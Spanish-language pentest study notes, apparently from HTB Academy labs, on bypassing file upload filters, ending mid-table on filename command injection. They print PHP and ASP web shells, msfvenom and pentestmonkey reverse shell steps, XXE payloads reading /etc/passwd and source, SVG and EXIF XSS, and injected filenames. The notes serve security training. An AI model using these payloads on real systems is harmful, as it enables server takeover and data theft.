> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/file-upload.md).

# File Upload

## Absent Validation

El tipo más básico de vulnerabilidad de subida de archivos ocurre cuando la app **no tiene ningún filtro de validación**, permitiendo subir cualquier tipo de archivo por defecto.

> Si no hay validación, subimos directamente un **web shell** o **reverse shell** en el lenguaje del servidor, y con solo visitar el archivo subido conseguimos ejecución de comandos / control del back-end.

### 1. Detectar Arbitrary File Upload

Señales en el **front-end** de que no hay restricciones:

* El formulario no menciona qué extensiones se permiten.
* El drag-and-drop acepta archivos `.php` y muestra su nombre.
* El diálogo de selección dice **"All Files"** como tipo (sin filtro de extensión).

> Esto indica ausencia de restricciones en el front-end. Si tampoco hay validación en el back-end, se pueden subir archivos arbitrarios y tomar control del servidor.

### 2. Identificar el framework / lenguaje

El web shell debe estar escrito en el **mismo lenguaje** que corre el servidor (usa funciones específicas de plataforma → no es cross-platform). Por eso, primer paso: identificar el lenguaje.

#### Método A — Extensión en la URL

A veces la extensión de página revela el lenguaje. Pero con **web routes** (mapeo URL→página) la extensión puede no mostrarse.

#### Método B — Fuzzing de `/index.ext`

Visitar `/index.ext` cambiando `ext` por extensiones comunes:

```
http://<SERVER_IP>:<PORT>/index.php
http://<SERVER_IP>:<PORT>/index.asp
http://<SERVER_IP>:<PORT>/index.aspx
```

> Si `/index.php` carga la misma página que `/` → es una app PHP. Se puede automatizar con **Burp Intruder** + wordlist de web extensions.

| Elemento      | Descripción                                    |
| ------------- | ---------------------------------------------- |
| `/index.ext`  | Se prueba cada extensión para ver cuál existe. |
| Burp Intruder | Automatiza el fuzzing de la extensión.         |

> ⚠️ No siempre es fiable: la app puede no usar páginas index o usar más de una extensión.

#### Método C — Wappalyzer

Extensión de navegador que identifica tecnologías: lenguaje (PHP), servidor web + versión, SO del back-end, librerías (jQuery, etc.).

#### Método D — Web scanners

Burp/ZAP scanners u otras herramientas de VA para fingerprinting del framework.

### 3. Identificar la vulnerabilidad (test de ejecución)

Una vez conocido el lenguaje, probar si se puede subir un archivo con esa extensión **y ejecutarlo**. Test con un "Hello World":

```php
<?php echo "Hello HTB"; ?>
```

Guardarlo como `test.php` y subirlo. Luego visitar el archivo subido:

```
http://<SERVER_IP>:<PORT>/uploads/test.php
```

| Resultado                   | Significado                                                      |
| --------------------------- | ---------------------------------------------------------------- |
| Se imprime `Hello HTB`      | El PHP **se ejecutó** → RCE posible. Sin validación en back-end. |
| Se imprime el código fuente | El PHP **no se ejecuta** → no hay ejecución en esa ruta.         |

> Si aparece `Hello HTB`, la función `echo` corrió → confirmamos ejecución de código PHP en el servidor. Siguiente paso: subir un web/reverse shell para tomar control.

### Resumen rápido

| Paso                     | Acción                                  | Herramienta / técnica                 |
| ------------------------ | --------------------------------------- | ------------------------------------- |
| 1. Detectar upload libre | Ver si el front acepta cualquier tipo   | Inspección manual del formulario      |
| 2. Identificar lenguaje  | Fingerprinting del framework            | `/index.ext`, Wappalyzer, Burp/ZAP    |
| 3. Confirmar ejecución   | Subir `test.php` con `echo` y visitarlo | `<?php echo "..."; ?>` en `/uploads/` |
| 4. Explotar              | Subir web/reverse shell                 | (siguiente sección)                   |

## Exploitation

El paso final es subir un script malicioso en el **mismo lenguaje** de la app (web shell o reverse shell). Tras subirlo y visitar su enlace, podemos interactuar con él para tomar control del back-end.

Dos enfoques:

| Tipo              | Interacción                                 | Requiere conexión saliente |
| ----------------- | ------------------------------------------- | -------------------------- |
| **Web Shell**     | Comandos vía navegador (parámetro GET/POST) | ❌ No                       |
| **Reverse Shell** | Shell interactiva en nuestro listener       | ✅ Sí                       |

> La reverse shell es preferible (más interactiva), pero si hay firewall de salida o funciones deshabilitadas, se recurre al web shell.

### 1. Web Shells

#### Prehechos (online / SecLists)

* **phpbash** → web shell PHP semi-interactivo tipo terminal.
* **SecLists** → colección para varios lenguajes en `/opt/useful/seclists/Web-Shells` (PwnBox).

Subir (ej. `phpbash.php`) y visitar:

```
http://<SERVER_IP>:<PORT>/uploads/phpbash.php
```

> Da experiencia tipo terminal → cómoda para enumerar el back-end.

#### Web shell PHP casero

Útil cuando no hay acceso a herramientas online:

```php
<?php system($_REQUEST['cmd']); ?>
```

Subirlo como `shell.php` y ejecutar comandos vía `?cmd=`:

```
http://<SERVER_IP>:<PORT>/uploads/shell.php?cmd=id
```

| Elemento           | Descripción                             |
| ------------------ | --------------------------------------- |
| `system()`         | Ejecuta el comando y muestra su salida. |
| `$_REQUEST['cmd']` | Acepta el comando por GET **o** POST.   |
| `?cmd=id`          | Comando a ejecutar.                     |

> **Tip:** en navegador, usar **source-view** (`CTRL+U`): muestra la salida como en terminal, sin que el renderizado HTML deforme el formato.

#### Web shell .NET (equivalente)

```asp
<% eval request('cmd') %>
```

> Mismo concepto, cambia la función de ejecución según el lenguaje. Los web shells pueden fallar si el servidor bloquea funciones (`system()`) o hay un WAF.

### 2. Reverse Shell

#### Script prehecho (pentestmonkey)

Descargar el **PHP reverse shell de pentestmonkey** y editar IP/puerto (líneas 49–50):

```php
$ip = 'OUR_IP';     // CHANGE THIS
$port = OUR_PORT;   // CHANGE THIS
```

Levantar listener, subir el script y visitarlo:

```bash
nc -lvnp OUR_PORT
# listening on [any] OUR_PORT ...
# connect to [OUR_IP] from (UNKNOWN) ...
# id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

| Elemento            | Descripción                                                      |
| ------------------- | ---------------------------------------------------------------- |
| `$ip` / `$port`     | IP y puerto de **nuestra** máquina a la que conecta la shell.    |
| `nc -lvnp OUR_PORT` | Listener: `-l` escucha, `-v` verbose, `-n` sin DNS, `-p` puerto. |

#### Reverse shell casero con msfvenom

Más fiable que meter un comando de reverse en `system()`. Genera el script en el lenguaje deseado:

```bash
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
```

Levantar listener, subir `reverse.php` y visitarlo → conexión recibida.

| Flag                 | Descripción                                        |
| -------------------- | -------------------------------------------------- |
| `-p php/reverse_php` | Payload de reverse shell (cambiar según lenguaje). |
| `LHOST` / `LPORT`    | IP y puerto de escucha de nuestra máquina.         |
| `-f raw`             | Formato de salida (código crudo del lenguaje).     |
| `> reverse.php`      | Guarda el script generado.                         |

> Para otros lenguajes: cambiar el payload con `-p` y el formato con `-f`.

### Resumen rápido

| Método                 | Cómo                                           | Cuándo usarlo                           |
| ---------------------- | ---------------------------------------------- | --------------------------------------- |
| **phpbash / SecLists** | Subir + visitar                                | Cómodo, tipo terminal.                  |
| **Web shell casero**   | `<?php system($_REQUEST['cmd']); ?>` + `?cmd=` | Sin acceso a herramientas online.       |
| **pentestmonkey**      | Editar IP/puerto + listener                    | Reverse shell fiable ya hecha.          |
| **msfvenom**           | Generar + listener                             | Reverse shell a medida, posible bypass. |

> Reverse shell > web shell por interactividad, pero puede fallar por firewall de salida o funciones deshabilitadas → en ese caso, web shell.

## Client-Side Validation

Muchas apps validan el formato del archivo **solo con JavaScript en el front-end**, deshabilitando la subida si no cumple (ej. no es imagen).

> Como la validación ocurre en el **cliente**, se bypassea fácilmente: interactuando directamente con el servidor (saltando el front) o modificando el código front-end desde las dev tools.

Principio clave: **todo lo que corre en el cliente está bajo nuestro control**. El servidor envía el código front-end, pero el renderizado y ejecución ocurren en **nuestro navegador**. Si el back-end no revalida, se puede subir cualquier tipo de archivo.

#### Cómo detectar que la validación es client-side

* El diálogo limita a imágenes (`.jpg, .jpeg, .png`).
* Al elegir "All Files" + un `.php` → error "Only images are allowed!" y se deshabilita **Upload**.
* **La página nunca refresca ni envía peticiones HTTP** al seleccionar el archivo → toda la validación es local.

Dos métodos de bypass:

### Método 1 — Back-end Request Modification (Burp)

Interceptar una subida **legítima** de imagen y modificarla antes de que llegue al servidor.

Petición normal capturada en Burp:

```http
POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="uploadFile"; filename="HTB.png"
Content-Type: image/png

‰PNG...(contenido de la imagen)...
```

Las **dos partes** a modificar:

| Campo                 | Original        | Modificado                           |
| --------------------- | --------------- | ------------------------------------ |
| `filename="..."`      | `HTB.png`       | `shell.php`                          |
| Contenido del archivo | bytes de imagen | `<?php system($_REQUEST['cmd']); ?>` |

Resultado: se sube un web shell PHP en lugar de la imagen → `File successfully uploaded`.

> El `Content-Type` (ej. `image/png`) también se puede modificar, pero en esta etapa no es relevante; se deja igual.

### Método 2 — Deshabilitar la validación front-end (Dev Tools)

Como las funciones se procesan en el navegador, se pueden modificar o eliminar. Así se sube sin necesidad de Burp.

#### Inspeccionar el input

`CTRL+SHIFT+C` → clic en la imagen de perfil. Se resalta el input:

```html
<input type="file" name="uploadFile" id="uploadFile"
       onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
```

| Atributo                     | Función                                            |
| ---------------------------- | -------------------------------------------------- |
| `accept=".jpg,.jpeg,.png"`   | Limita los tipos en el **diálogo** de selección.   |
| `onchange="checkFile(this)"` | Ejecuta la **validación JS** al elegir un archivo. |

#### Ver la función de validación

`CTRL+SHIFT+K` (consola) → escribir `checkFile`:

```javascript
function checkFile(File) {
    ...
    if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
        $('#error_message').text("Only images are allowed!");
        File.form.reset();
        $("#submit").attr("disabled", true);
    }
}
```

> La función revisa la extensión; si no es imagen, muestra el error y deshabilita **Upload**.

#### Bypass — eliminar la validación

En el inspector, clic en la imagen → doble clic en `checkFile` (línea 18) → **borrarlo**:

```html
<!-- antes -->
<input ... onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
<!-- después -->
<input ... accept=".jpg,.jpeg,.png">
```

> **Tip:** también puedes borrar `accept=".jpg,.jpeg,.png"` para que el diálogo muestre todos los archivos directamente (opcional).

Con `checkFile` eliminado, se selecciona el `.php` y se sube normalmente, sin validación.

> ⚠️ El cambio es **temporal** (solo client-side, no persiste al refrescar). Pero solo necesitamos saltar la validación una vez, así que basta. En Firefox se hace así; Chrome usa **Overrides**.

### Localizar y ejecutar el shell

Tras subir, refrescar → `CTRL+SHIFT+C` → clic en la imagen para ver la URL:

```html
<img src="/profile_images/shell.php" class="profile-image" id="profile-image">
```

Ejecutar comandos:

```
http://<SERVER_IP>:<PORT>/profile_images/shell.php?cmd=id
```

### Resumen rápido

| Método                   | Herramienta | Cómo                                                                                |
| ------------------------ | ----------- | ----------------------------------------------------------------------------------- |
| **Request Modification** | Burp        | Interceptar subida de imagen → cambiar `filename` a `.php` + contenido a web shell. |
| **Disable Front-end**    | Dev Tools   | Borrar `onchange="checkFile(this)"` (y opcionalmente `accept`).                     |

> Ambos funcionan porque la validación es **solo client-side**. Si el back-end revalida, se necesitan los bypasses de las siguientes secciones (blacklist, whitelist, MIME/magic bytes).

## Blacklist Filters

La validación **client-side** se bypassea trivialmente (sección anterior). Por eso los controles deben estar en el **back-end**. Pero incluso ahí, si están mal codificados, se pueden saltar.

Dos formas comunes de validar la extensión en el back-end:

| Tipo          | Descripción                          | Fortaleza                    |
| ------------- | ------------------------------------ | ---------------------------- |
| **Blacklist** | Bloquea extensiones prohibidas       | 🔴 Débil (no es exhaustiva). |
| **Whitelist** | Solo permite extensiones específicas | 🟢 Más fuerte.               |

Esta sección ataca la **blacklist**, la forma más débil.

#### Código vulnerable típico

```php
$fileName  = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
    echo "File type not allowed";
    die();
}
```

**Fallo principal:** la lista **no es exhaustiva**. Existen muchas otras extensiones que ejecutan PHP y no están bloqueadas.

> 💡 **Tip case-sensitive:** la comparación solo considera minúsculas. En **Windows** los nombres son case-insensitive, así que un `pHp` puede saltar la blacklist **y** ejecutarse igual como PHP.

### 1. Detectar la validación back-end

Repetir el bypass client-side (Burp: cambiar `filename` y contenido a un `.php`). Si ahora responde **"Extension not allowed"** → hay validación también en el back-end.

### 2. Fuzzing de extensiones (Burp Intruder)

Objetivo: encontrar qué extensiones **no** están en la blacklist.

Wordlists útiles:

* **PayloadsAllTheThings** (listas para PHP y .NET).
* **SecLists** → Web Extensions comunes.

#### Configuración en Intruder

1. Enviar la request de `/upload.php` a **Intruder** (desde el history).
2. Tab **Positions** → **Clear** posiciones automáticas.
3. Seleccionar solo la extensión en `filename="HTB.php"` → **Add** como posición de fuzzing.
4. Mantener el contenido del archivo (solo fuzzeamos la extensión).
5. Tab **Payloads** → **Load** la lista de extensiones PHP.
6. **Desmarcar URL Encoding** → para no codificar el `.` antes de la extensión.
7. **Start Attack**.

| Ajuste                          | Por qué                                          |
| ------------------------------- | ------------------------------------------------ |
| Solo la extensión como posición | Aísla la variable a probar.                      |
| Mantener contenido del archivo  | No nos interesa fuzzear el contenido.            |
| Desactivar URL Encoding         | Evita que el `.` se codifique y rompa el nombre. |

#### Interpretar resultados

Ordenar por **Length**. Las requests con el mismo Content-Length que las exitosas (ej. `193`) devolvieron **"File successfully uploaded"** → extensión **permitida**. El resto devuelve "Extension not allowed".

### 3. Extensiones alternativas que ejecutan PHP

No todas funcionan en toda configuración de servidor; probar varias. Extensiones PHP-ejecutables comunes:

| Extensión                             | Nota                                                            |
| ------------------------------------- | --------------------------------------------------------------- |
| `.phtml`                              | Muy común, suele tener permisos de ejecución en servidores PHP. |
| `.php3` / `.php4` / `.php5` / `.php7` | Versiones antiguas, a veces no blacklisteadas.                  |
| `.pht`                                | Variante corta.                                                 |
| `.phar`                               | Archivo PHP empaquetado.                                        |
| `pHp`, `PHP`                          | Mayúsculas mixtas (bypass en Windows).                          |

#### Explotar con `.phtml`

Enviar la request a **Repeater**, cambiar el nombre a `.phtml` y el contenido a un web shell:

```php
<?php system($_REQUEST['cmd']); ?>
```

Subir → `200 OK` / File successfully uploaded. Visitar y ejecutar:

```
http://<SERVER_IP>:<PORT>/profile_images/shell.phtml?cmd=id
```

### Resumen rápido

| Paso                   | Acción                                                         |
| ---------------------- | -------------------------------------------------------------- |
| 1. Confirmar back-end  | `.php` da "Extension not allowed"                              |
| 2. Fuzzear extensiones | Burp Intruder + wordlist PHP (sin URL encoding)                |
| 3. Filtrar allowed     | Ordenar por Length → las que suben con éxito                   |
| 4. Explotar            | Subir web shell con extensión permitida (`.phtml`) y visitarlo |

> La blacklist falla porque **no puede cubrir todas** las extensiones ejecutables. La whitelist (siguiente sección) es más robusta, pero también tiene bypasses.

### Ejemplo 1

Luego de fuzzear se probaron con todos los que tiene salida de codigo de estado 200 al final solo funcionó con el .phar

```
http://154.57.164.64:30708/profile_images/shell.phar?cmd=cat%20/flag.txt
```

## Whitelist Filters

La **whitelist** solo permite extensiones específicas → generalmente **más segura** que una blacklist (no necesita ser exhaustiva). Casos de uso:

| Filtro        | Cuándo                      | Ejemplo                      |
| ------------- | --------------------------- | ---------------------------- |
| **Blacklist** | Se necesitan muchos tipos   | File Manager                 |
| **Whitelist** | Solo pocos tipos permitidos | Subida de imágenes de perfil |

> Pueden usarse **en tándem** (whitelist de imágenes + blacklist de PHP).

El error habitual está en el **regex**: valida si el nombre **contiene** la extensión, no si **termina** con ella.

#### Código vulnerable (regex débil)

```php
$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}
```

> Falla: no ancla el final con `$`, así que `shell.jpg.php` **contiene** `.jpg` y pasa.

#### Regex estricto (seguro)

```php
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { ... }
```

> El `$` final obliga a que la extensión sea la **última** → los bypasses de doble extensión directa no funcionan.

***

### Método 1 — Double Extensions

Si el regex es débil (sin `$`), basta añadir la extensión permitida y terminar en `.php`:

```
shell.jpg.php
```

Interceptar en Burp, cambiar el nombre a `shell.jpg.php` y el contenido a un web shell. Visitar:

```
http://<SERVER_IP>:<PORT>/profile_images/shell.jpg.php?cmd=id
```

| Nombre          | Pasa whitelist débil |      Ejecuta PHP      |
| --------------- | :------------------: | :-------------------: |
| `shell.jpg.php` |  ✅ (contiene `.jpg`) | ✅ (termina en `.php`) |

> No funciona si el regex es estricto (con `$`).

### Método 2 — Reverse Double Extension

A veces el **upload es seguro** (regex estricto), pero la **config del servidor** es insegura. Ejemplo en Apache (`/etc/apache2/mods-enabled/php7.4.conf`):

```xml
<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>
```

> Este regex también olvida el `$` → **cualquier** archivo que **contenga** `.phar`/`.php`/`.phtml` ejecuta PHP, aunque no termine en esa extensión.

Entonces `shell.php.jpg`:

| Nombre          | Pasa whitelist estricta |         Ejecuta PHP         |
| --------------- | :---------------------: | :-------------------------: |
| `shell.php.jpg` |  ✅ (termina en `.jpg`)  | ✅ (config: contiene `.php`) |

Subir y visitar:

```
http://<SERVER_IP>:<PORT>/profile_images/shell.php.jpg?cmd=id
```

> El bypass no está en el código de subida, sino en la **mala configuración del `FilesMatch`** del servidor.

### Método 3 — Character Injection

Inyectar caracteres antes/después de la extensión final para que la app malinterprete el nombre y lo guarde como `.php`.

Caracteres a probar:

| Carácter          | Caso de uso                                                                   |
| ----------------- | ----------------------------------------------------------------------------- |
| `%00` (null byte) | `shell.php%00.jpg` → PHP ≤ 5.X corta el nombre en `%00` → guarda `shell.php`. |
| `:` (colon)       | Windows: `shell.aspx:.jpg` → escribe `shell.aspx` (ADS).                      |
| `%20`             | Espacio.                                                                      |
| `%0a`             | Line feed (LF).                                                               |
| `%0d0a`           | Carriage return + LF (CRLF).                                                  |
| `/`               | Separador de ruta.                                                            |
| `.\`              | Backslash + punto.                                                            |
| `.`               | Punto extra / trailing dot (Windows).                                         |
| `…`               | Puntos suspensivos (edge cases).                                              |

#### Script para generar permutaciones

```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
```

| Parte           | Descripción                                                |
| --------------- | ---------------------------------------------------------- |
| `$char`         | Cada carácter de inyección.                                |
| `$ext`          | Extensiones PHP a probar (`.php`, `.phps`, ...).           |
| 4 líneas `echo` | Genera las 4 posiciones (antes/después de cada extensión). |

> Cargar `wordlist.txt` en **Burp Intruder** y fuzzear. Si el back-end o servidor está desactualizado/mal configurado, algunas permutaciones pasarán y ejecutarán PHP.

### Resumen rápido

| Método                  | Payload                               | Requiere                                        |
| ----------------------- | ------------------------------------- | ----------------------------------------------- |
| **Double Extension**    | `shell.jpg.php`                       | Regex de whitelist **sin** `$`.                 |
| **Reverse Double Ext.** | `shell.php.jpg`                       | `FilesMatch` del servidor **sin** `$`.          |
| **Character Injection** | `shell.php%00.jpg`, `shell.aspx:.jpg` | PHP ≤ 5.X, Windows, o sistemas desactualizados. |

> La whitelist es más robusta que la blacklist, pero el **regex mal anclado** (falta de `$`) y las **configuraciones inseguras del servidor** la vuelven bypasseables.

### Ejemplo 1 comun

El payload mas comun en whitelist .phar

```
http://154.57.164.64:30708/profile_images/shell.phar.jpg?cmd=cat%20/flag.txt
```

## Type Filters

Validar solo la **extensión** no basta (ya vimos `shell.php.jpg` y usos de SVG). Por eso muchas apps validan también el **contenido** del archivo para confirmar que coincide con el tipo esperado.

Los filtros de contenido suelen apuntar a **una sola categoría** (imágenes, videos, documentos), así que no usan black/whitelists sino funciones del servidor.

Dos métodos de validación de contenido:

| Método                      | Fuente del tipo               | Dónde se controla     |
| --------------------------- | ----------------------------- | --------------------- |
| **Content-Type Header**     | Header que envía el navegador | Cliente (manipulable) |
| **MIME-Type (Magic Bytes)** | Primeros bytes del archivo    | Contenido del archivo |

> Señal de que valida contenido: cambiar la extensión (`shell.jpg.phtml`, `shell.php.jpg`, `shell.jpg`) **no** cambia el error → está mirando el contenido, no el nombre.

### Método 1 — Content-Type Header

El navegador setea automáticamente el `Content-Type` según la extensión al elegir el archivo. Como es **client-side**, se manipula.

#### Código vulnerable

```php
$type = $_FILES['uploadFile']['type'];

if (!in_array($type, array('image/jpg','image/jpeg','image/png','image/gif'))) {
    echo "Only images are allowed";
    die();
}
```

#### Fuzzing de Content-Types permitidos

```bash
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
cat web-all-content-types.txt | grep 'image/' > image-content-types.txt
```

> El error dice "only images", así que se filtra a tipos `image/` (reduce de \~700 a 45). Cargar en Burp Intruder.

#### Bypass

Interceptar la subida, cambiar el `Content-Type` del **archivo** a uno permitido (ej. `image/jpg`) manteniendo el nombre `shell.php` → File successfully uploaded.

```
http://<SERVER_IP>:<PORT>/profile_images/shell.php?cmd=id
```

> ⚠️ **Ojo con los dos Content-Type:** una request de subida tiene **dos** headers `Content-Type` — el del **archivo** (abajo, en el multipart) y el de la **request completa** (arriba). Normalmente hay que modificar el del **archivo**; solo si el contenido va como POST data se modifica el principal.

### Método 2 — MIME-Type (Magic Bytes)

Más común y fiable. El MIME se determina por los **primeros bytes** del archivo (**File Signature / Magic Bytes**), no por la extensión.

| Firma               | Tipo             |
| ------------------- | ---------------- |
| `GIF87a` / `GIF89a` | Imagen GIF       |
| texto plano         | Archivo de texto |

> 💡 GIF es el más fácil de imitar porque sus magic bytes son **ASCII imprimibles**. Otros formatos usan bytes no imprimibles. Con `GIF8` (común a ambas firmas) suele bastar.

#### Demostración con `file`

```bash
echo "this is a text file" > text.jpg
file text.jpg
# text.jpg: ASCII text        ← lo detecta como texto pese a la extensión .jpg

echo "GIF8" > text.jpg
file text.jpg
# text.jpg: GIF image data     ← ahora lo detecta como GIF
```

#### Código vulnerable

```php
$type = mime_content_type($_FILES['uploadFile']['tmp_name']);

if (!in_array($type, array('image/jpg','image/jpeg','image/png','image/gif'))) {
    echo "Only images are allowed";
    die();
}
```

> Igual que Content-Type pero la fuente es `mime_content_type()` → lee el contenido real, no el header.

#### Bypass

Añadir `GIF8` **al inicio** del contenido, manteniendo la extensión `.php` para que ejecute PHP:

```php
GIF8
<?php system($_REQUEST['cmd']); ?>
```

Subir → File successfully uploaded. Ejecutar:

```
http://<SERVER_IP>:<PORT>/profile_images/shell.php?cmd=id
# GIF8
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

> La salida empieza con `GIF8` porque es la primera línea del script (impresa como texto plano antes de ejecutar el PHP).

### Combinando ambos filtros

Para filtros más robustos, mezclar variables (extensión / Content-Type / MIME) hasta confundir al servidor:

| Extensión  | Content-Type  | MIME (magic bytes) | Idea                                          |
| ---------- | ------------- | ------------------ | --------------------------------------------- |
| `.php`     | `image/jpg` ✅ | `GIF8` ✅           | Pasa ambos filtros de contenido, ejecuta PHP. |
| permitida  | permitido     | disallowed         | Según qué revise el código.                   |
| disallowed | permitido     | permitido          | Probar combinaciones.                         |

> Según el nivel de seguridad del código, distintas permutaciones de (extensión + Content-Type + magic bytes) permiten bypassear el filtro.

### Resumen rápido

| Filtro                 | Cómo se valida                                | Bypass                                                    |
| ---------------------- | --------------------------------------------- | --------------------------------------------------------- |
| **Content-Type**       | Header del navegador (`$_FILES[...]['type']`) | Cambiar el header del **archivo** a `image/jpg` en Burp.  |
| **MIME / Magic Bytes** | `mime_content_type()` sobre el contenido      | Prepender `GIF8` al inicio del archivo, extensión `.php`. |
| **Ambos**              | Header + contenido                            | `GIF8` + `Content-Type: image/jpg` + extensión `.php`.    |

### Ejemplo 1

Uso de MIME GIF8 y shell.jpg.phtml

```
http://154.57.164.70:31381/profile_images/shell.jpg.phtml?cmd=cat%20/flag.txt
```

## Limited File Uploads

Aunque un formulario tenga filtros **seguros** que impidan la subida arbitraria (no hay RCE), un upload **limitado** (que solo permite ciertos tipos) todavía puede usarse para otros ataques.

Ciertos tipos —**SVG, HTML, XML**, e incluso algunas imágenes y documentos— permiten introducir nuevas vulnerabilidades subiendo versiones maliciosas.

> Por esto **fuzzear las extensiones permitidas** es clave: revela qué ataques son posibles según lo que la app acepte.

Ataques posibles: **XSS**, **XXE** (+ SSRF), y **DoS**.

### 1. XSS (Stored)

#### HTML files

Si permite subir `.html`, no ejecuta PHP pero sí **JavaScript** → XSS/CSRF sobre quien visite la página. Al venir de un dominio de confianza, la víctima es más fácil de engañar.

#### XSS vía metadata de imagen

Si la app muestra los metadatos EXIF tras subir, se inyecta el payload en un campo de texto (ej. `Comment`, `Artist`):

```bash
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
exiftool HTB.jpg
# Comment :  "><img src=1 onerror=alert(window.origin)>
```

| Elemento                       | Descripción                                      |
| ------------------------------ | ------------------------------------------------ |
| `exiftool -Comment=...`        | Escribe el payload XSS en el metadato `Comment`. |
| `onerror=alert(window.origin)` | Se dispara al fallar la carga de `img src=1`.    |

> Si además cambias el MIME a `text/html`, algunas apps la muestran como HTML → el XSS se dispara aunque no muestren la metadata directamente.

#### XSS vía SVG

Los **SVG son XML** que el navegador renderiza como imagen → se les inyecta JS:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

> El payload se dispara cada vez que se muestra la imagen.

### 2. XXE

Los SVG también permiten inyectar **XML malicioso** para leer archivos internos.

#### Leer `/etc/passwd`

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

> Al subir y visualizar, el XML se procesa y `/etc/passwd` se imprime en la página o en el código fuente.

#### Leer código fuente PHP (whitebox)

Leer archivos del sistema sirve para enumerar; leer el **código fuente** es aún más valioso (whitebox). Como el PHP se ejecutaría, hay que codificarlo en base64 con `php://filter`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

| Elemento                                                | Descripción                                           |
| ------------------------------------------------------- | ----------------------------------------------------- |
| `<!ENTITY xxe SYSTEM "...">`                            | Entidad externa que carga el recurso objetivo.        |
| `file:///etc/passwd`                                    | Lee un archivo del sistema.                           |
| `php://filter/convert.base64-encode/resource=index.php` | Codifica el PHP en base64 para leerlo sin ejecutarlo. |
| `&xxe;`                                                 | Invoca la entidad → inserta el contenido leído.       |

> El código fuente ayuda a localizar el directorio de uploads, extensiones permitidas y el esquema de nombres → útil para seguir explotando.

#### Otros documentos (XML embebido)

PDF, Word, PowerPoint, etc. también llevan XML interno. Si la app usa un visor vulnerable a XXE y permite subirlos, se puede hacer **blind XXE**. La misma vía sirve para **SSRF** (enumerar servicios internos, llamar APIs privadas).

### 3. DoS

Varios uploads pueden derivar en Denegación de Servicio:

| Ataque                  | Cómo funciona                                                                                                                      |
| ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| **XXE DoS**             | Payloads XXE (ej. billion laughs) que agotan recursos.                                                                             |
| **Decompression Bomb**  | ZIP anidados que, al descomprimirse automáticamente, expanden a Petabytes → crash.                                                 |
| **Pixel Flood**         | JPG/PNG con datos de compresión modificados para declarar `0xffff x 0xffff` (\~4 Gigapixels) → la app agota memoria al renderizar. |
| **Archivo enorme**      | Subir un archivo gigante si no hay límite de tamaño → llena el disco.                                                              |
| **Directory Traversal** | Subir a rutas como `../../../etc/passwd` → puede crashear el servidor.                                                             |

### Resumen rápido

| Ataque   | Tipo de archivo          | Payload clave                                               |
| -------- | ------------------------ | ----------------------------------------------------------- |
| **XSS**  | HTML, SVG, metadata EXIF | `<script>alert()</script>`, `onerror=`, `exiftool -Comment` |
| **XXE**  | SVG, XML, PDF/Word/PPT   | `<!ENTITY xxe SYSTEM "file:///...">`                        |
| **SSRF** | vía XXE                  | Entidad apuntando a servicios internos                      |
| **DoS**  | ZIP, JPG/PNG, XML        | Decompression bomb, pixel flood, billion laughs             |

> Aunque no logres RCE, un upload limitado sigue siendo superficie de ataque. **Fuzzear las extensiones permitidas** te dice qué vía (XSS/XXE/DoS) está disponible.

### Ejemplo XXE 1

<figure><img src="/files/cVOqpmlZt2DR9Imp3KzG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/w9aXHq1IncXEEj56pPmn" alt=""><figcaption></figcaption></figure>

### Ejemplo XXE 2

<figure><img src="/files/lvJvwwU8ja9WUcDI8AaY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jhuiHOONwEUBzy4Qfb4d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/hpZtRfPkZFpWVMoZAuBE" alt=""><figcaption></figcaption></figure>

## Other Upload Attacks

Además de la subida arbitraria y los uploads limitados, hay técnicas extra útiles en pentests y bug bounty: **inyecciones en el nombre**, **descubrimiento del directorio de uploads**, **ataques específicos de Windows** y **ataques avanzados** contra el procesamiento del archivo.

### 1. Injections en el nombre de archivo

Si el nombre del archivo se **refleja** o se usa dentro de un comando/consulta, se puede inyectar en él.

#### Command Injection

Si la app mueve el archivo con un comando OS (ej. `mv file /tmp`), un nombre malicioso inyecta comandos:

```
file$(whoami).jpg
file`whoami`.jpg
file.jpg||whoami
```

| Payload        | Técnica                             |
| -------------- | ----------------------------------- |
| `$(whoami)`    | Command substitution.               |
